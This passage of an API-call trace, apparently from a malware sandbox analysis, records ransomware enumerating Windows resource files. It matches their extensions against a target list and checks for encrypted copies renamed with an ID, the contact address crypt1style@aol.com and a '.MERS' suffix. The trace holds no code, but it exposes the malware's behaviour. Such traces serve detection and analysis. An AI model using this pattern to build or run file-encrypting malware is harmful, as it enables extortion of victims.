(lpString1=".zip", lpString2=".ttf") returned 1 [0258.172] lstrlenW (lpString=".rar") returned 4 [0258.172] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0258.172] lstrlenW (lpString=".bz2") returned 4 [0258.172] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0258.172] lstrlenW (lpString=".7z") returned 3 [0258.172] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0258.172] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.172] lstrlenW (lpString=".dbf") returned 4 [0258.172] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0258.172] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.172] lstrlenW (lpString=".1cd") returned 4 [0258.172] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0258.172] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.172] lstrlenW (lpString=".jpg") returned 4 [0258.172] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0258.172] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.172] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0258.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0258.448] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=4608) returned 1 [0258.450] CloseHandle (hObject=0x2ec) returned 1 [0258.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0258.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.470] lstrlenW (lpString=".doc") returned 4 [0258.470] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.470] lstrlenW (lpString=".docx") returned 5 [0258.470] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.470] lstrlenW (lpString=".pdf") returned 4 [0258.470] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.470] lstrlenW (lpString=".xls") returned 4 [0258.470] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.470] lstrlenW (lpString=".xlsx") returned 5 [0258.470] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.470] lstrlenW (lpString=".ppt") returned 4 [0258.470] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.470] lstrlenW (lpString=".zip") returned 4 [0258.470] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.470] lstrlenW (lpString=".rar") returned 4 [0258.470] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.470] lstrlenW (lpString=".bz2") returned 4 [0258.470] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.470] lstrlenW (lpString=".7z") returned 3 [0258.470] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.470] lstrlenW (lpString=".dbf") returned 4 [0258.470] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.471] lstrlenW (lpString=".1cd") returned 4 [0258.471] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.471] lstrlenW (lpString=".jpg") returned 4 [0258.471] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.471] lstrlenW (lpString=".doc") returned 4 [0258.471] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.471] lstrlenW (lpString=".docx") returned 5 [0258.471] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.471] lstrlenW (lpString=".pdf") returned 4 [0258.471] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.471] lstrlenW (lpString=".xls") returned 4 [0258.471] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.471] lstrlenW (lpString=".xlsx") returned 5 [0258.471] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.471] lstrlenW (lpString=".ppt") returned 4 [0258.471] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.471] lstrlenW (lpString=".zip") returned 4 [0258.471] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.471] lstrlenW (lpString=".rar") returned 4 [0258.471] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.471] lstrlenW (lpString=".bz2") returned 4 [0258.471] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.471] lstrlenW (lpString=".7z") returned 3 [0258.471] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.471] lstrlenW (lpString=".dbf") returned 4 [0258.471] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.471] lstrlenW (lpString=".1cd") returned 4 [0258.471] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0258.472] lstrlenW (lpString=".jpg") returned 4 [0258.472] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.472] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.472] lstrlenW (lpString="rtscom.dll.mui") returned 14 [0258.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0258.472] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=2560) returned 1 [0258.472] CloseHandle (hObject=0x2ec) returned 1 [0258.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0258.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.472] lstrlenW (lpString=".doc") returned 4 [0258.472] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.472] lstrlenW (lpString=".docx") returned 5 [0258.472] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.472] lstrlenW (lpString=".pdf") returned 4 [0258.472] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.472] lstrlenW (lpString=".xls") returned 4 [0258.472] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.472] lstrlenW (lpString=".xlsx") returned 5 [0258.472] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.473] lstrlenW (lpString=".ppt") returned 4 [0258.473] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.473] lstrlenW (lpString=".zip") returned 4 [0258.473] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.473] lstrlenW (lpString=".rar") returned 4 [0258.473] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.473] lstrlenW (lpString=".bz2") returned 4 [0258.473] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.473] lstrlenW (lpString=".7z") returned 3 [0258.473] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.473] lstrlenW (lpString=".dbf") returned 4 [0258.473] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.473] lstrlenW (lpString=".1cd") returned 4 [0258.473] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.473] lstrlenW (lpString=".jpg") returned 4 [0258.473] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.473] lstrlenW (lpString=".doc") returned 4 [0258.473] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.473] lstrlenW (lpString=".docx") returned 5 [0258.473] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.473] lstrlenW (lpString=".pdf") returned 4 [0258.473] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.473] lstrlenW (lpString=".xls") returned 4 [0258.473] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.473] lstrlenW (lpString=".xlsx") returned 5 [0258.473] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.473] lstrlenW (lpString=".ppt") returned 4 [0258.473] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.473] lstrlenW (lpString=".zip") returned 4 [0258.474] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.474] lstrlenW (lpString=".rar") returned 4 [0258.474] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.474] lstrlenW (lpString=".bz2") returned 4 [0258.474] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.474] lstrlenW (lpString=".7z") returned 3 [0258.474] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.474] lstrlenW (lpString=".dbf") returned 4 [0258.474] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.474] lstrlenW (lpString=".1cd") returned 4 [0258.474] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0258.474] lstrlenW (lpString=".jpg") returned 4 [0258.474] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.474] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.474] lstrlenW (lpString="ShapeCollector.exe.mui") returned 22 [0258.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0258.474] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=43520) returned 1 [0258.474] CloseHandle (hObject=0x2ec) returned 1 [0258.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0258.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.475] lstrlenW (lpString=".doc") returned 4 [0258.475] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.475] lstrlenW (lpString=".docx") returned 5 [0258.475] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.475] lstrlenW (lpString=".pdf") returned 4 [0258.475] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.475] lstrlenW (lpString=".xls") returned 4 [0258.475] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.475] lstrlenW (lpString=".xlsx") returned 5 [0258.475] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.475] lstrlenW (lpString=".ppt") returned 4 [0258.475] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.475] lstrlenW (lpString=".zip") returned 4 [0258.475] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.475] lstrlenW (lpString=".rar") returned 4 [0258.475] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.475] lstrlenW (lpString=".bz2") returned 4 [0258.475] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.475] lstrlenW (lpString=".7z") returned 3 [0258.475] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.475] lstrlenW (lpString=".dbf") returned 4 [0258.475] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.475] lstrlenW (lpString=".1cd") returned 4 [0258.475] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.475] lstrlenW (lpString=".jpg") returned 4 [0258.475] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.476] lstrlenW (lpString=".doc") returned 4 [0258.476] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.476] lstrlenW (lpString=".docx") returned 5 [0258.476] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.476] lstrlenW (lpString=".pdf") returned 4 [0258.476] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.476] lstrlenW (lpString=".xls") returned 4 [0258.476] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.476] lstrlenW (lpString=".xlsx") returned 5 [0258.476] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.476] lstrlenW (lpString=".ppt") returned 4 [0258.476] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.476] lstrlenW (lpString=".zip") returned 4 [0258.476] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.476] lstrlenW (lpString=".rar") returned 4 [0258.476] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.476] lstrlenW (lpString=".bz2") returned 4 [0258.476] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.476] lstrlenW (lpString=".7z") returned 3 [0258.476] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.476] lstrlenW (lpString=".dbf") returned 4 [0258.476] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.476] lstrlenW (lpString=".1cd") returned 4 [0258.476] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0258.476] lstrlenW (lpString=".jpg") returned 4 [0258.476] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.477] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.477] lstrlenW (lpString="tabskb.dll.mui") returned 14 [0258.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0258.596] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=3072) returned 1 [0258.596] CloseHandle (hObject=0x2e4) returned 1 [0258.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0258.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.597] lstrlenW (lpString=".doc") returned 4 [0258.597] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.597] lstrlenW (lpString=".docx") returned 5 [0258.597] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.597] lstrlenW (lpString=".pdf") returned 4 [0258.597] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.597] lstrlenW (lpString=".xls") returned 4 [0258.597] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.597] lstrlenW (lpString=".xlsx") returned 5 [0258.597] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.597] lstrlenW (lpString=".ppt") returned 4 [0258.597] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.597] lstrlenW (lpString=".zip") returned 4 [0258.597] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.597] lstrlenW (lpString=".rar") returned 4 [0258.597] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.597] lstrlenW (lpString=".bz2") returned 4 [0258.597] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.597] lstrlenW (lpString=".7z") returned 3 [0258.597] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.597] lstrlenW (lpString=".dbf") returned 4 [0258.597] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.597] lstrlenW (lpString=".1cd") returned 4 [0258.597] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.597] lstrlenW (lpString=".jpg") returned 4 [0258.597] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.597] lstrlenW (lpString=".doc") returned 4 [0258.597] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.598] lstrlenW (lpString=".docx") returned 5 [0258.598] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0258.598] lstrlenW (lpString=".pdf") returned 4 [0258.598] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.598] lstrlenW (lpString=".xls") returned 4 [0258.598] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.598] lstrlenW (lpString=".xlsx") returned 5 [0258.598] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0258.598] lstrlenW (lpString=".ppt") returned 4 [0258.598] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.598] lstrlenW (lpString=".zip") returned 4 [0258.598] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.598] lstrlenW (lpString=".rar") returned 4 [0258.598] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.598] lstrlenW (lpString=".bz2") returned 4 [0258.598] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.598] lstrlenW (lpString=".7z") returned 3 [0258.598] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.598] lstrlenW (lpString=".dbf") returned 4 [0258.598] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.598] lstrlenW (lpString=".1cd") returned 4 [0258.598] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0258.598] lstrlenW (lpString=".jpg") returned 4 [0258.598] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.598] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.598] lstrlenW (lpString="TipRes.dll.mui") returned 14 [0258.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0258.599] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=32768) returned 1 [0258.599] CloseHandle (hObject=0x2e4) returned 1 [0258.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0258.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 